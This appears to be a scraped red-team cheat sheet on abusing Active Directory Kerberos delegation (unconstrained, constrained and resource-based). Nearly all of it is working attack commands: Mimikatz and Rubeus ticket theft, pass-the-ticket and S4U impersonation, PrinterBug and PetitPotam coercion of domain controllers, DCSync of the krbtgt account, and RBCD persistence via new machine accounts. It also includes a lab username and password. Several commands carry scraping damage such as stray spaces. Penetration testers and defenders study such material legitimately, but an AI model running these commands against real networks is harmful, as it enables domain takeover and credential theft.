ADeleginator
NXC
Copy nxc ldap 192.168.56.11 -u eddard.stark -p FightP3aceAndHonor! --find-delegation
https://x.com/al3x_n3ff/status/1857153795949559875?t=3iN0A-aTMN58zD0O7rIIlA&s=03
SharpADWS
Unconstrained Delegation
Unconstrained Delegation: allows the first hop server to request access to any service on any computer in the domain
Discovery
Copy Get-DomainComputer - UnConstrained
Copy Get-ADComputer - Filter {TrustedForDelegation -eq $True }
Get-ADUser - Filter {TrustedForDelegation -eq $True }
Compromise the server where unconstrained delegation is enabled
Wait for a DA to connect then
Copy Invoke-Mimikatz - Command '"sekurlsa::tickets /export"'
Reuse DA token
Copy Invoke-Mimikatz - Command '"kerberos::ptt C:\path\to\[****]-*****-Administrator@krbtgt-DOMAIN.LOCAL.kirbi"'
Trick a high user to connect to a machine with Unconstrained Delegation ? Printer Bug
Misconfiguration Print Spooler
Printerbug also works across a Two-way forest trust with TGT Delegation enabled - See Trusts
Capture the TGT of dc$
by using Rubeus on victim server
Copy Rubeus.exe monitor / interval: 5 / nowrap
Printerbug - Run MS-RPRN.exe
Copy MS-RPRN.exe \\dc.domain.local \\vicitm.domain.local
# Victim host
Rubeus.exe monitor / interval: 5 / nowrap
Or with PetitPotam
Copy .\ PetitPotam.exe victim - hostname
# Victim host
Rubeus.exe monitor / interval: 5 / nowrap
On Linux, use Coercer
SMB (445, 139) / RPC ShadowCoerce or DFSCoerce can also be used
Copy the base64 encoded TGT and remove extra spaces before use it
Copy Rubeus.exe ptt / ticket: < Base6 4>
Or use Invoke-Mimikatz:
Copy [ IO.File ]::WriteAllBytes( "C:\AD\Tools\USDC.kirbi" ,
[ Convert ]::FromBase64String( "ticket_from_Rubeus_monitor" ))
Invoke-Mimikatz - Command '"kerberos::ptt C:\path\to\ticket.kirbi"'
Run DCSync
Copy Invoke-Mimikatz - Command '"lsadump::dcsync /user:domain\krbtgt"'
DCSync Constrained Delegation - Protocol Transition
Constrained Delegation: allows the first hop server to request access only to specified computers
Service for User (S4U) used to impersonate a user
S4U2self: allows a forwardable TGS to itself on behalf of a user - TUSTED_TO_AUTHENTICATE_FOR_DELEGATION
S4U2proxy: allows a service to obtain a TGS to a second service on behalf of the user - msDS-AllowedToDelegateTo
contains a list of SPN to which the token can be forwarded
Discovery
Copy Get-DomainUser - TrustedToAuth
Get-DomainComputer - TrustedToAuth
Copy Get-ADObject - Filter {msDS - AllowedToDelegateTo -ne " $null " } - Properties msDS - AllowedToDelegateTo
Abusing with kekeo
password or NTLM/AES keys required
Copy kekeo # tgt::ask /user:victim_user /domain:domain.local /rc4:<ntlm_hash>
Copy kekeo # tgs::s4u /tgt:<tgt_from_step_1>.kirbi /user:Administrator@domain.local /service:cifs/mssql.domain.LOCAL
Copy kekeo# tgs::s4u /tgt:<tgt_from_step_1>.kirbi /user:Administrator@domain.local /service:cifs/mssql.domain.LOCAL|HTTP/mssql.domain.LOCAL
Copy Invoke-Mimikatz - Command '"kerberos:ptt <tgs_from_step_2>.kirbi"'
Copy ls \\mssql.domain.local\c$
Copy Invoke-Command - ScriptBlock{whoami} - ComputerName mssql.domain.local
Abusing with Rubeus
Request TGT and TGS in a single command
Copy Rubeus.exe s4u / user:victim_user / aes256: < aes_key > / impersonateuser:Administrator / msdsspn:CIFS / mssql.domain.LOCAL / ptt
Copy ls \\mssql.domain.local\c$
The delegation occurs not only for the specified service but for any service running under the same account. No validation for the SPN specified
With rc4
Copy Rubeus.exe s4u /user:appsvc /rc4:<ntlm_hash> /impersonateuser:administrator /msdsspn:CIFS/mssql.domain.local /altservice:HTTP /domain:domain.local /ptt
winrs - r:umssql - hostname cmd.exe
Abusing with kekeo
password or NTLM/AES keys required
Copy kekeo # tgt::ask /user:victim_machine_account$ /domain:domain.local /rc4:<ntlm_hash>
Copy kekeo# tgs::s4u /tgt:<tgt_from_step_1>.kirbi /user:Administrator@domain.local /service:time/dc.domain.LOCAL|ldap/dc.domain.LOCAL
Copy Invoke-Mimikatz - Command '"kerberos:ptt <tgs_from_step_2>.kirbi"'
Copy Invoke-Mimikatz - Command '"lsadump::dcsync /user:domain\krbtgt"'
Abusing with Rubeus
Request TGT and TGS in a single command
Copy Rubeus.exe s4u /user:victim_machine_account$ /aes256:<aes_key> /impersonateuser:Administrator /msdsspn:time/dc.domain.LOCAL /altservice:ldap /ptt
Copy SafetyKatz.exe "lsadump::dcsync /user:domain\krbtgt" "exit"
Persistence - msDS-AllowedToDelegateTo
Persistence Resource-based Constrained Delegation
Instead of SPNs on msDS-AllowedToDelegatTo
on the front end service, access is control by a security descriptor of msDS-AllowedToActOnBehalfOfOtherIdentity
(visible as PrincipalsAllowedToDelegateToAccount
) on the resource/service
The service administrator can configure this delegation whereas for other type SeEnableDelagation
privs required - by default only DA
Two privileges needed to abuse RBCD:
Write permissions over the target service
Control over an object which as SPN configured (like admin access do a domain joined machine or ability to join a machine to domain - ms-DS- MachineAccountQuota is 10 by default)
Write Permission
Copy Find-InterestingDomainACL | ? { $_.identityreferencename -match 'username' }
Exploit
Configure RBCD
Copy $comps = 'computer1$' , 'computer2$'
Set-ADComputer - Identity victim - PrincipalsAllowedToDelegateToAccount $comps
Extract AES keys for computerx$
Copy Invoke-Mimikatz - Command '"sekurlsa::ekeys"'
Use the AES key and access vicitm as ANY user we want
Copy Rubeus.exe s4u / user:computer1$ / aes256: < aes_key > / msdsspn:http / victim / impersonateuser:administrator / ptt
Copy winrs - r:victim cmd.exe
Constrained Delegation - Kerberos Only
Leverage RBCD to abuse Kerberos Only configuration
Enumeration
Copy # AD Module
Get-ADObject - Filter {msDS - AllowedToDelegateTo -ne " $null " } - PropertiesmsDS - AllowedToDelegateTo
Create a new machine account
https://github.com/Kevin-Robertson/Powermad
Copy Powermad.ps1 New-MachineAccount - MachineAccount studentcompX
Configure RBCD
Copy # On victim host
Rubeus.exe asktgt / user:victim$ / aes256: < aes_key > / impersonateuser:administrator / domain:domain.local / ptt / nowrap
# With AD Module
Set-ADComputer - Identity victim$ - PrincipalsAllowedToDelegateToAccount studentcompX$ - Verbose
Get TGS
Copy # Get hash
Rubeus.exe hash / password:P@ssword@123
Rubeus.exe s4u /impersonateuser:administrator /user:studentcompX$ /rc4:<rc4_hash> /msdsspn:cifs/victim.domain.local /nowrap
Request a new forwardable TGS
Copy Rubeus.exe s4u /tgs:<base67_tgs_from_previous_step> /user:victim$ /aes256:<victim$_aes> /msdsspn:cifs/mssql.domain.local /altservice:http /nowrap /ptt
winrs - r:mssql.domain.local cmd.exe